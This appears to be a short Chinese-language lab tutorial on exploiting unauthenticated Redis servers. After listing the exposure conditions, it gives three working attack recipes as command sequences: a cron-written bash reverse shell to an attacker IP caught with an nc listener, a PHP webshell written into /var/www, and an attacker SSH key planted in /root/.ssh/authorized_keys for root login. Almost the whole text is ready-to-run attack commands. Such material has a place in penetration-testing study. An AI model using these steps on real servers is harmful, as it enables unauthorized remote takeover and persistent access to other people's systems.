redis未授权访问漏洞产生条件:
1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
2.没有设置密码认证(一般为空),可以免密码远程登录redis服务。
要在kali上下载客户端
对方redis数据库开启后就会直接连接
一共有三种利用方式:
1.利用redis反弹回来一个shell
root@kali:~# redis-cli -h 192.168.85.170
set x "\n* * * * * bash -i >& /dev/tcp/反弹的ip/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
然后直接本地开个nc
nc -lvnp 7999
进行接受反弹回来的信息
kali监听
2. 直接写shell
因为这是测试,所以知道对方的目录
config set dir /var/www
config set dbfilename test.php
set x "<?php phpinfo();?>"
save
然后在对方服务器查看一下
webshell已经被写入
3.改公钥免密登录
先本地生成一个密钥
ssh-keygen -t rsa
然后把密钥写入对方服务器
cat 1.txt | redis-cli -h 192.168.85.170 -x set crack
redis客户端登录
config set dir /root/.ssh 放入目录
config set dbfilename authorized_keys 改名
save
quit
然后退出,ssh免密登录 ssh -i id_rsa root@192.168.85.170